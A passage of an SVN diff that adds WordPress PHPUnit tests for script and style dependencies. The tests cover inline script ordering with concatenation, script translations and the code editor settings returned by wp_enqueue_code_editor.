+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\nconsole.log(\"after\");\n</script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	function test_wp_add_inline_script_localized_data_is_added_first() {
+		wp_enqueue_script( 'test-example', 'example.com', array(), null );
+		wp_localize_script( 'test-example', 'testExample', array( 'foo' => 'bar' ) );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+
+		$expected  = "<script type='text/javascript'>\n/* <![CDATA[ */\nvar testExample = {\"foo\":\"bar\"};\n/* ]]> */\n</script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"before\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	public function test_wp_add_inline_script_before_with_concat() {
+		global $wp_scripts;
+
+		$wp_scripts->do_concat = true;
+		$wp_scripts->default_dirs = array( '/directory/' );
+
+		wp_enqueue_script( 'one', '/directory/one.js' );
+		wp_enqueue_script( 'two', '/directory/two.js' );
+		wp_enqueue_script( 'three', '/directory/three.js' );
+
+		wp_add_inline_script( 'one', 'console.log("before one");', 'before' );
+		wp_add_inline_script( 'two', 'console.log("before two");', 'before' );
+
+		$ver = get_bloginfo( 'version' );
+		$expected = "<script type='text/javascript'>\nconsole.log(\"before one\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/one.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"before two\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/two.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/three.js?ver={$ver}'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	public function test_wp_add_inline_script_before_with_concat2() {
+		global $wp_scripts;
+
+		$wp_scripts->do_concat = true;
+		$wp_scripts->default_dirs = array( '/directory/' );
+
+		wp_enqueue_script( 'one', '/directory/one.js' );
+		wp_enqueue_script( 'two', '/directory/two.js' );
+		wp_enqueue_script( 'three', '/directory/three.js' );
+
+		wp_add_inline_script( 'one', 'console.log("before one");', 'before' );
+
+		$ver = get_bloginfo( 'version' );
+		$expected = "<script type='text/javascript'>\nconsole.log(\"before one\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/one.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/two.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/three.js?ver={$ver}'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	public function test_wp_add_inline_script_after_with_concat() {
+		global $wp_scripts;
+
+		$wp_scripts->do_concat = true;
+		$wp_scripts->default_dirs = array( '/directory/' );
+
+		wp_enqueue_script( 'one', '/directory/one.js' );
+		wp_enqueue_script( 'two', '/directory/two.js' );
+		wp_enqueue_script( 'three', '/directory/three.js' );
+		wp_enqueue_script( 'four', '/directory/four.js' );
+
+		wp_add_inline_script( 'two', 'console.log("after two");' );
+		wp_add_inline_script( 'three', 'console.log("after three");' );
+
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='/wp-admin/load-scripts.php?c=0&amp;load%5B%5D=one&amp;ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/two.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after two\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/three.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after three\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='/directory/four.js?ver={$ver}'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 14853
+	 */
+	public function test_wp_add_inline_script_after_and_before_with_concat_and_conditional() {
+		global $wp_scripts;
+
+		$wp_scripts->do_concat = true;
+		$wp_scripts->default_dirs = array('/wp-admin/js/', '/wp-includes/js/'); // Default dirs as in wp-includes/script-loader.php
+
+		$expected_localized = "<!--[if gte IE 9]>\n";
+		$expected_localized .= "<script type='text/javascript'>\n/* <![CDATA[ */\nvar testExample = {\"foo\":\"bar\"};\n/* ]]> */\n</script>\n";
+		$expected_localized .= "<![endif]-->\n";
+
+		$expected  = "<!--[if gte IE 9]>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"before\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+		$expected .= "<![endif]-->\n";
+
+		wp_enqueue_script( 'test-example', 'example.com', array(), null );
+		wp_localize_script( 'test-example', 'testExample', array( 'foo' => 'bar' ) );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+		wp_script_add_data( 'test-example', 'conditional', 'gte IE 9' );
+
+		$this->assertEquals( $expected_localized, get_echo( 'wp_print_scripts' ) );
+		$this->assertEquals( $expected, $wp_scripts->print_html );
+		$this->assertTrue( $wp_scripts->do_concat );
+	}
+
+	/**
+	 * @ticket 36392
+	 */
+	public function test_wp_add_inline_script_after_with_concat_and_core_dependency() {
+		global $wp_scripts;
+
+		wp_default_scripts( $wp_scripts );
+
+		$wp_scripts->base_url  = '';
+		$wp_scripts->do_concat = true;
+
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='/wp-admin/load-scripts.php?c=0&amp;load%5B%5D=jquery-core,jquery-migrate&amp;ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+
+		wp_enqueue_script( 'test-example', 'http://example.com', array( 'jquery' ), null );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+
+		wp_print_scripts();
+		$print_scripts = get_echo( '_print_scripts' );
+
+		$this->assertEquals( $expected, $print_scripts );
+	}
+
+	/**
+	 * @ticket 36392
+	 */
+	public function test_wp_add_inline_script_after_with_concat_and_conditional_and_core_dependency() {
+		global $wp_scripts;
+
+		wp_default_scripts( $wp_scripts );
+
+		$wp_scripts->base_url  = '';
+		$wp_scripts->do_concat = true;
+
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='/wp-admin/load-scripts.php?c=0&amp;load%5B%5D=jquery-core,jquery-migrate&amp;ver={$ver}'></script>\n";
+		$expected .= "<!--[if gte IE 9]>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+		$expected .= "<![endif]-->\n";
+
+		wp_enqueue_script( 'test-example', 'http://example.com', array( 'jquery' ), null );
+		wp_add_inline_script( 'test-example', 'console.log("after");' );
+		wp_script_add_data( 'test-example', 'conditional', 'gte IE 9' );
+
+		wp_print_scripts();
+		$print_scripts = get_echo( '_print_scripts' );
+
+		$this->assertEquals( $expected, $print_scripts );
+	}
+
+	/**
+	 * @ticket 36392
+	 */
+	public function test_wp_add_inline_script_before_with_concat_and_core_dependency() {
+		global $wp_scripts;
+
+		wp_default_scripts( $wp_scripts );
+
+		$wp_scripts->base_url  = '';
+		$wp_scripts->do_concat = true;
+
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='/wp-admin/load-scripts.php?c=0&amp;load%5B%5D=jquery-core,jquery-migrate&amp;ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"before\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+
+		wp_enqueue_script( 'test-example', 'http://example.com', array( 'jquery' ), null );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+
+		wp_print_scripts();
+		$print_scripts = get_echo( '_print_scripts' );
+
+		$this->assertEquals( $expected, $print_scripts );
+	}
+
+	/**
+	 * @ticket 36392
+	 */
+	public function test_wp_add_inline_script_before_after_concat_with_core_dependency() {
+		global $wp_scripts;
+
+		wp_default_scripts( $wp_scripts );
+
+		$wp_scripts->base_url  = '';
+		$wp_scripts->do_concat = true;
+
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='/wp-admin/load-scripts.php?c=0&amp;load%5B%5D=jquery-core,jquery-migrate,wp-a11y&amp;ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"before\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='http://example.com'></script>\n";
+		$expected .= "<script type='text/javascript' src='http://example2.com'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after\");\n</script>\n";
+
+		wp_enqueue_script( 'test-example', 'http://example.com', array( 'jquery' ), null );
+		wp_add_inline_script( 'test-example', 'console.log("before");', 'before' );
+		wp_enqueue_script( 'test-example2', 'http://example2.com', array( 'wp-a11y' ), null );
+		wp_add_inline_script( 'test-example2', 'console.log("after");', 'after' );
+
+		wp_print_scripts();
+		$print_scripts = get_echo( '_print_scripts' );
+
+		$this->assertEquals( $expected, $print_scripts );
+	}
+
+	/**
+	 * @ticket 36392
+	 */
+	public function test_wp_add_inline_script_customize_dependency() {
+		global $wp_scripts;
+
+		wp_default_scripts( $wp_scripts );
+
+		$wp_scripts->base_url  = '';
+		$wp_scripts->do_concat = true;
+
+		$expected_tail = "<![endif]-->\n";
+		$expected_tail .= "<script type='text/javascript' src='/customize-dependency.js'></script>\n";
+		$expected_tail .= "<script type='text/javascript'>\n";
+		$expected_tail .= "tryCustomizeDependency()\n";
+		$expected_tail .= "</script>\n";
+
+		$handle = 'customize-dependency';
+		wp_enqueue_script( $handle, '/customize-dependency.js', array( 'customize-controls' ), null );
+		wp_add_inline_script( $handle, 'tryCustomizeDependency()' );
+
+		wp_print_scripts();
+		$print_scripts = get_echo( '_print_scripts' );
+
+		$tail = substr( $print_scripts, strrpos( $print_scripts, "<![endif]-->" ) );
+		$this->assertEquals( $expected_tail, $tail );
+	}
+
+	/**
+	 * @ticket 36392
+	 */
+	public function test_wp_add_inline_script_after_for_core_scripts_with_concat_is_limited_and_falls_back_to_no_concat() {
+		global $wp_scripts;
+
+		$wp_scripts->do_concat    = true;
+		$wp_scripts->default_dirs = array( '/wp-admin/js/', '/wp-includes/js/' ); // Default dirs as in wp-includes/script-loader.php
+
+		wp_enqueue_script( 'one', '/wp-includes/js/script.js' );
+		wp_enqueue_script( 'two', '/wp-includes/js/script2.js', array( 'one' ) );
+		wp_add_inline_script( 'one', 'console.log("after one");', 'after' );
+		wp_enqueue_script( 'three', '/wp-includes/js/script3.js' );
+		wp_enqueue_script( 'four', '/wp-includes/js/script4.js' );
+
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='/wp-includes/js/script.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"after one\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script2.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script3.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script4.js?ver={$ver}'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 36392
+	 */
+	public function test_wp_add_inline_script_before_third_core_script_prints_two_concat_scripts() {
+		global $wp_scripts;
+
+		$wp_scripts->do_concat    = true;
+		$wp_scripts->default_dirs = array( '/wp-admin/js/', '/wp-includes/js/' ); // Default dirs as in wp-includes/script-loader.php
+
+		wp_enqueue_script( 'one', '/wp-includes/js/script.js' );
+		wp_enqueue_script( 'two', '/wp-includes/js/script2.js', array( 'one' ) );
+		wp_enqueue_script( 'three', '/wp-includes/js/script3.js' );
+		wp_add_inline_script( 'three', 'console.log("before three");', 'before' );
+		wp_enqueue_script( 'four', '/wp-includes/js/script4.js' );
+
+		$ver = get_bloginfo( 'version' );
+		$expected  = "<script type='text/javascript' src='/wp-admin/load-scripts.php?c=0&amp;load%5B%5D=one,two&amp;ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript'>\nconsole.log(\"before three\");\n</script>\n";
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script3.js?ver={$ver}'></script>\n";
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script4.js?ver={$ver}'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 45103
+	 */
+	public function test_wp_set_script_translations() {
+		wp_register_script( 'wp-i18n', '/wp-includes/js/dist/wp-i18n.js', array(), null );
+		wp_enqueue_script( 'test-example', '/wp-includes/js/script.js', array(), null );
+		wp_set_script_translations( 'test-example', 'default',  DIR_TESTDATA . '/languages' );
+
+		$expected  = "<script type='text/javascript' src='/wp-includes/js/dist/wp-i18n.js'></script>\n";
+		$expected .= str_replace(
+			array(
+				'__DOMAIN__',
+				'__JSON_TRANSLATIONS__',
+			),
+			array(
+				'default',
+				file_get_contents( DIR_TESTDATA . '/languages/en_US-813e104eb47e13dd4cc5af844c618754.json' ),
+			),
+			$this->wp_scripts_print_translations_output
+		);
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script.js'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 45103
+	 */
+	public function test_wp_set_script_translations_for_plugin() {
+		wp_register_script( 'wp-i18n', '/wp-includes/js/dist/wp-i18n.js', array(), null );
+		wp_enqueue_script( 'plugin-example', '/wp-content/plugins/my-plugin/js/script.js', array(), null );
+		wp_set_script_translations( 'plugin-example', 'internationalized-plugin',  DIR_TESTDATA . '/languages/plugins' );
+
+		$expected  = "<script type='text/javascript' src='/wp-includes/js/dist/wp-i18n.js'></script>\n";
+		$expected .= str_replace(
+			array(
+				'__DOMAIN__',
+				'__JSON_TRANSLATIONS__',
+			),
+			array(
+				'internationalized-plugin',
+				file_get_contents( DIR_TESTDATA . '/languages/plugins/internationalized-plugin-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json' ),
+			),
+			$this->wp_scripts_print_translations_output
+		);
+		$expected .= "<script type='text/javascript' src='/wp-content/plugins/my-plugin/js/script.js'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 45103
+	 */
+	public function test_wp_set_script_translations_for_theme() {
+		wp_register_script( 'wp-i18n', '/wp-includes/js/dist/wp-i18n.js', array(), null );
+		wp_enqueue_script( 'theme-example', '/wp-content/themes/my-theme/js/script.js', array(), null );
+		wp_set_script_translations( 'theme-example', 'internationalized-theme',  DIR_TESTDATA . '/languages/themes' );
+
+		$expected  = "<script type='text/javascript' src='/wp-includes/js/dist/wp-i18n.js'></script>\n";
+		$expected .= str_replace(
+			array(
+				'__DOMAIN__',
+				'__JSON_TRANSLATIONS__',
+			),
+			array(
+				'internationalized-theme',
+				file_get_contents( DIR_TESTDATA . '/languages/themes/internationalized-theme-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json' ),
+			),
+			$this->wp_scripts_print_translations_output
+		);
+		$expected .= "<script type='text/javascript' src='/wp-content/themes/my-theme/js/script.js'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 45103
+	 */
+	public function test_wp_set_script_translations_with_handle_file() {
+		wp_register_script( 'wp-i18n', '/wp-includes/js/dist/wp-i18n.js', array(), null );
+		wp_enqueue_script( 'script-handle', '/wp-admin/js/script.js', array(), null );
+		wp_set_script_translations( 'script-handle', 'admin',  DIR_TESTDATA . '/languages/' );
+
+		$expected  = "<script type='text/javascript' src='/wp-includes/js/dist/wp-i18n.js'></script>\n";
+		$expected .= str_replace(
+			array(
+				'__DOMAIN__',
+				'__JSON_TRANSLATIONS__',
+			),
+			array(
+				'admin',
+				file_get_contents( DIR_TESTDATA . '/languages/admin-en_US-script-handle.json' ),
+			),
+			$this->wp_scripts_print_translations_output
+		);
+		$expected .= "<script type='text/javascript' src='/wp-admin/js/script.js'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 45103
+	 */
+	public function test_wp_set_script_translations_i18n_dependency() {
+		global $wp_scripts;
+
+		wp_register_script( 'wp-i18n', '/wp-includes/js/dist/wp-i18n.js', array(), null );
+		wp_enqueue_script( 'test-example', '/wp-includes/js/script.js', array(), null );
+		wp_set_script_translations( 'test-example', 'default',  DIR_TESTDATA . '/languages/' );
+
+		$script = $wp_scripts->registered[ 'test-example' ];
+
+		$this->assertContains( 'wp-i18n', $script->deps );
+	}
+
+	/**
+	 * @ticket 45103
+	 */
+	public function test_wp_set_script_translations_when_translation_file_does_not_exist() {
+		wp_register_script( 'wp-i18n', '/wp-includes/js/dist/wp-i18n.js', array(), null );
+		wp_enqueue_script( 'test-example', '/wp-admin/js/script.js', array(), null );
+		wp_set_script_translations( 'test-example', 'admin',  DIR_TESTDATA . '/languages/' );
+
+		$expected  = "<script type='text/javascript' src='/wp-includes/js/dist/wp-i18n.js'></script>\n";
+		$expected .= str_replace(
+			array(
+				'__DOMAIN__',
+				'__JSON_TRANSLATIONS__',
+			),
+			array(
+				'admin',
+				'{ "locale_data": { "messages": { "": {} } } }',
+			),
+			$this->wp_scripts_print_translations_output
+		);
+		$expected .= "<script type='text/javascript' src='/wp-admin/js/script.js'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 45103
+	 */
+	public function test_wp_set_script_translations_after_register() {
+		wp_register_script( 'wp-i18n', '/wp-includes/js/dist/wp-i18n.js', array(), null );
+		wp_register_script( 'test-example', '/wp-includes/js/script.js', array(), null );
+		wp_set_script_translations( 'test-example', 'default', DIR_TESTDATA . '/languages' );
+
+		wp_enqueue_script( 'test-example' );
+
+		$expected  = "<script type='text/javascript' src='/wp-includes/js/dist/wp-i18n.js'></script>\n";
+		$expected .= str_replace(
+			array(
+				'__DOMAIN__',
+				'__JSON_TRANSLATIONS__',
+			),
+			array(
+				'default',
+				file_get_contents( DIR_TESTDATA . '/languages/en_US-813e104eb47e13dd4cc5af844c618754.json' ),
+			),
+			$this->wp_scripts_print_translations_output
+		);
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script.js'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * @ticket 45103
+	 */
+	public function test_wp_set_script_translations_dependency() {
+		wp_register_script( 'wp-i18n', '/wp-includes/js/dist/wp-i18n.js', array(), null );
+		wp_register_script( 'test-dependency', '/wp-includes/js/script.js', array(), null );
+		wp_set_script_translations( 'test-dependency', 'default', DIR_TESTDATA . '/languages' );
+
+		wp_enqueue_script( 'test-example', '/wp-includes/js/script2.js', array( 'test-dependency' ), null );
+
+		$expected  = "<script type='text/javascript' src='/wp-includes/js/dist/wp-i18n.js'></script>\n";
+		$expected .= str_replace(
+			array(
+				'__DOMAIN__',
+				'__JSON_TRANSLATIONS__',
+			),
+			array(
+				'default',
+				file_get_contents( DIR_TESTDATA . '/languages/en_US-813e104eb47e13dd4cc5af844c618754.json' ),
+			),
+			$this->wp_scripts_print_translations_output
+		);
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script.js'></script>\n";
+		$expected .= "<script type='text/javascript' src='/wp-includes/js/script2.js'></script>\n";
+
+		$this->assertEquals( $expected, get_echo( 'wp_print_scripts' ) );
+	}
+
+	/**
+	 * Testing `wp_enqueue_code_editor` with file path.
+	 *
+	 * @ticket 41871
+	 * @covers wp_enqueue_code_editor()
+	 */
+	public function test_wp_enqueue_code_editor_when_php_file_will_be_passed() {
+		$real_file = WP_PLUGIN_DIR . '/hello.php';
+		$wp_enqueue_code_editor = wp_enqueue_code_editor( array( 'file' => $real_file ) );
+		$this->assertNonEmptyMultidimensionalArray( $wp_enqueue_code_editor );
+
+		$this->assertEqualSets( array( 'codemirror', 'csslint', 'jshint', 'htmlhint' ), array_keys( $wp_enqueue_code_editor ) );
+		$this->assertEqualSets(
+			array(
+				'autoCloseBrackets',
+				'autoCloseTags',
+				'continueComments',
+				'direction',
+				'extraKeys',
+				'indentUnit',
+				'indentWithTabs',
+				'inputStyle',
+				'lineNumbers',
+				'lineWrapping',
+				'matchBrackets',
+				'matchTags',
+				'mode',
+				'styleActiveLine',
+				'gutters',
+			),
+			array_keys( $wp_enqueue_code_editor['codemirror'] )
+		);
+		$this->assertEmpty( $wp_enqueue_code_editor['codemirror']['gutters'] );
+
+		$this->assertEqualSets(
+			array(
+				'errors',
+				'box-model',
+				'display-property-grouping',
+				'duplicate-properties',
+				'known-properties',
+				'outline-none',
+			),
+			array_keys( $wp_enqueue_code_editor['csslint'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'boss',
+				'curly',
+				'eqeqeq',
+				'eqnull',
+				'es3',
+				'expr',
+				'immed',
+				'noarg',
+				'nonbsp',
+				'onevar',
+				'quotmark',
+				'trailing',
+				'undef',
+				'unused',
+				'browser',
+				'globals',
+			),
+			array_keys( $wp_enqueue_code_editor['jshint'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'tagname-lowercase',
+				'attr-lowercase',
+				'attr-value-double-quotes',
+				'doctype-first',
+				'tag-pair',
+				'spec-char-escape',
+				'id-unique',
+				'src-not-empty',
+				'attr-no-duplication',
+				'alt-require',
+				'space-tab-mixed-disabled',
+				'attr-unsafe-chars',
+			),
+			array_keys( $wp_enqueue_code_editor['htmlhint'] )
+		);
+	}
+
+	/**
+	 * Testing `wp_enqueue_code_editor` with `compact`.
+	 *
+	 * @ticket 41871
+	 * @covers wp_enqueue_code_editor()
+	 */
+	public function test_wp_enqueue_code_editor_when_generated_array_by_compact_will_be_passed() {
+		$file                   = '';
+		$wp_enqueue_code_editor = wp_enqueue_code_editor( compact( 'file' ) );
+		$this->assertNonEmptyMultidimensionalArray( $wp_enqueue_code_editor );
+
+		$this->assertEqualSets( array( 'codemirror', 'csslint', 'jshint', 'htmlhint' ), array_keys( $wp_enqueue_code_editor ) );
+		$this->assertEqualSets(
+			array(
+				'continueComments',
+				'direction',
+				'extraKeys',
+				'indentUnit',
+				'indentWithTabs',
+				'inputStyle',
+				'lineNumbers',
+				'lineWrapping',
+				'mode',
+				'styleActiveLine',
+				'gutters',
+			),
+			array_keys( $wp_enqueue_code_editor['codemirror'] )
+		);
+		$this->assertEmpty( $wp_enqueue_code_editor['codemirror']['gutters'] );
+
+		$this->assertEqualSets(
+			array(
+				'errors',
+				'box-model',
+				'display-property-grouping',
+				'duplicate-properties',
+				'known-properties',
+				'outline-none',
+			),
+			array_keys( $wp_enqueue_code_editor['csslint'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'boss',
+				'curly',
+				'eqeqeq',
+				'eqnull',
+				'es3',
+				'expr',
+				'immed',
+				'noarg',
+				'nonbsp',
+				'onevar',
+				'quotmark',
+				'trailing',
+				'undef',
+				'unused',
+				'browser',
+				'globals',
+			),
+			array_keys( $wp_enqueue_code_editor['jshint'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'tagname-lowercase',
+				'attr-lowercase',
+				'attr-value-double-quotes',
+				'doctype-first',
+				'tag-pair',
+				'spec-char-escape',
+				'id-unique',
+				'src-not-empty',
+				'attr-no-duplication',
+				'alt-require',
+				'space-tab-mixed-disabled',
+				'attr-unsafe-chars',
+			),
+			array_keys( $wp_enqueue_code_editor['htmlhint'] )
+		);
+	}
+
+	/**
+	 * Testing `wp_enqueue_code_editor` with `array_merge`.
+	 *
+	 * @ticket 41871
+	 * @covers wp_enqueue_code_editor()
+	 */
+	public function test_wp_enqueue_code_editor_when_generated_array_by_array_merge_will_be_passed() {
+		$wp_enqueue_code_editor = wp_enqueue_code_editor(
+			array_merge(
+				array(
+					'type' => 'text/css',
+					'codemirror' => array(
+						'indentUnit' => 2,
+						'tabSize' => 2,
+					),
+				),
+				array()
+			)
+		);
+
+		$this->assertNonEmptyMultidimensionalArray( $wp_enqueue_code_editor );
+
+		$this->assertEqualSets( array( 'codemirror', 'csslint', 'jshint', 'htmlhint' ), array_keys( $wp_enqueue_code_editor ) );
+		$this->assertEqualSets(
+			array(
+				'autoCloseBrackets',
+				'continueComments',
+				'direction',
+				'extraKeys',
+				'gutters',
+				'indentUnit',
+				'indentWithTabs',
+				'inputStyle',
+				'lineNumbers',
+				'lineWrapping',
+				'lint',
+				'matchBrackets',
+				'mode',
+				'styleActiveLine',
+				'tabSize',
+			),
+			array_keys( $wp_enqueue_code_editor['codemirror'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'errors',
+				'box-model',
+				'display-property-grouping',
+				'duplicate-properties',
+				'known-properties',
+				'outline-none',
+			),
+			array_keys( $wp_enqueue_code_editor['csslint'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'boss',
+				'curly',
+				'eqeqeq',
+				'eqnull',
+				'es3',
+				'expr',
+				'immed',
+				'noarg',
+				'nonbsp',
+				'onevar',
+				'quotmark',
+				'trailing',
+				'undef',
+				'unused',
+				'browser',
+				'globals',
+			),
+			array_keys( $wp_enqueue_code_editor['jshint'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'tagname-lowercase',
+				'attr-lowercase',
+				'attr-value-double-quotes',
+				'doctype-first',
+				'tag-pair',
+				'spec-char-escape',
+				'id-unique',
+				'src-not-empty',
+				'attr-no-duplication',
+				'alt-require',
+				'space-tab-mixed-disabled',
+				'attr-unsafe-chars',
+			),
+			array_keys( $wp_enqueue_code_editor['htmlhint'] )
+		);
+	}
+
+	/**
+	 * Testing `wp_enqueue_code_editor` with `array`.
+	 *
+	 * @ticket 41871
+	 * @covers wp_enqueue_code_editor()
+	 */
+	public function test_wp_enqueue_code_editor_when_simple_array_will_be_passed() {
+		$wp_enqueue_code_editor = wp_enqueue_code_editor(
+			array(
+				'type' => 'text/css',
+				'codemirror' => array(
+					'indentUnit' => 2,
+					'tabSize' => 2,
+				),
+			)
+		);
+
+		$this->assertNonEmptyMultidimensionalArray( $wp_enqueue_code_editor );
+
+		$this->assertEqualSets( array( 'codemirror', 'csslint', 'jshint', 'htmlhint' ), array_keys( $wp_enqueue_code_editor ) );
+		$this->assertEqualSets(
+			array(
+				'autoCloseBrackets',
+				'continueComments',
+				'direction',
+				'extraKeys',
+				'gutters',
+				'indentUnit',
+				'indentWithTabs',
+				'inputStyle',
+				'lineNumbers',
+				'lineWrapping',
+				'lint',
+				'matchBrackets',
+				'mode',
+				'styleActiveLine',
+				'tabSize',
+			),
+			array_keys( $wp_enqueue_code_editor['codemirror'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'errors',
+				'box-model',
+				'display-property-grouping',
+				'duplicate-properties',
+				'known-properties',
+				'outline-none',
+			),
+			array_keys( $wp_enqueue_code_editor['csslint'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'boss',
+				'curly',
+				'eqeqeq',
+				'eqnull',
+				'es3',
+				'expr',
+				'immed',
+				'noarg',
+				'nonbsp',
+				'onevar',
+				'quotmark',
+				'trailing',
+				'undef',
+				'unused',
+				'browser',
+				'globals',
+			),
+			array_keys( $wp_enqueue_code_editor['jshint'] )
+		);
+
+		$this->assertEqualSets(
+			array(
+				'tagname-lowercase',
+				'attr-lowercase',
+				'attr-value-double-quotes',
+				'doctype-first',
+				'tag-pair',
+				'spec-char-escape',
+				'id-unique',
+				'src-not-empty',
+				'attr-no-duplication',
+				'alt-require',
+				'space-tab-mixed-disabled',
+				'attr-unsafe-chars',
+			),
+			array_keys( $wp_enqueue_code_editor['htmlhint'] )
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/dependencies/styles.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/dependencies/styles.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/dependencies/styles.php	(revision 56912)
@@ -0,0 +1,386 @@
+<?php
+/**
+ * @group dependencies
+ * @group scripts
+ */
+class Tests_Dependencies_Styles extends WP_UnitTestCase {
+	private $old_wp_styles;
+	private $old_wp_scripts;
+
+	function setUp() {
+		parent::setUp();
+
+		if ( empty( $GLOBALS['wp_styles'] ) ) {
+			$GLOBALS['wp_styles'] = null;
+		}
+
+		$this->old_wp_styles = $GLOBALS['wp_styles'];
+
+		if ( empty( $GLOBALS['wp_scripts'] ) ) {
+			$GLOBALS['wp_scripts'] = null;
+		}
+
+		$this->old_wp_styles = $GLOBALS['wp_scripts'];
+
+		remove_action( 'wp_default_styles', 'wp_default_styles' );
+		remove_action( 'wp_print_styles', 'print_emoji_styles' );
+
+		$GLOBALS['wp_styles'] = new WP_Styles();
+		$GLOBALS['wp_styles']->default_version = get_bloginfo( 'version' );
+
+		$GLOBALS['wp_scripts'] = new WP_Scripts();
+		$GLOBALS['wp_scripts']->default_version = get_bloginfo( 'version' );
+	}
+
+	function tearDown() {
+		$GLOBALS['wp_styles'] = $this->old_wp_styles;
+		$GLOBALS['wp_scripts'] = $this->old_wp_scripts;
+
+		add_action( 'wp_default_styles', 'wp_default_styles' );
